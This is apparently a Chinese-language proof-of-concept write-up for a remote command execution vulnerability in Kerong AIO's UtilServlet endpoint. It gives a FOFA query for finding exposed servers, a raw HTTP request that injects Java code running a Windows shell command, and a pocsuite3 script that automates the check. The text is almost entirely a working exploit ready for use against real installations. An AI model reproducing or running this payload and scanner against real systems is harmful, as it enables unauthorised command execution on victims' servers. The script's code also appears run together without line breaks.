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漏洞描述
科荣AIO UtilServlet存在任意命令执行漏洞。
fofa语句
body="changeAccount('8000')"
poc加检测
POST /UtilServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodedoperation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+ipconfig").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field
poc脚本
脚本使用的pocsuite框架
# _*_ coding:utf-8 _*_
# @Time : 2024/1/17
# @Author: 炼金术师诸葛亮
import re
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass kerongAIO_utilservlet_rce(POCBase):pocDesc = '''科荣AIO UtilServlet任意命令执行漏洞'''author = '炼金术师诸葛亮'createDate = '2024-1-17'name = '科荣AIO UtilServlet任意命令执行漏洞'def _verify(self):result = {}url = self.url+ '/UtilServlet'headers = {"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)","Accept": "*/*",'Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Connection': 'close',"Content-Type": "application/x-www-form-urlencoded"}try:data = 'operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+ipconfig").getInputStream()))%3bString+line%3bStringBuilder+b+%3d+new+StringBuilder()%3bwhile+((line+%3d+br.readLine())+!%3d+null)+{b.append(line)%3b}return+new+String(b)%3b&fieldName=example_field'response = requests.post(url, headers=headers, data=data)if response.status_code == 200 and 'DNS' in response.text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(kerongAIO_utilservlet_rce)
脚本利用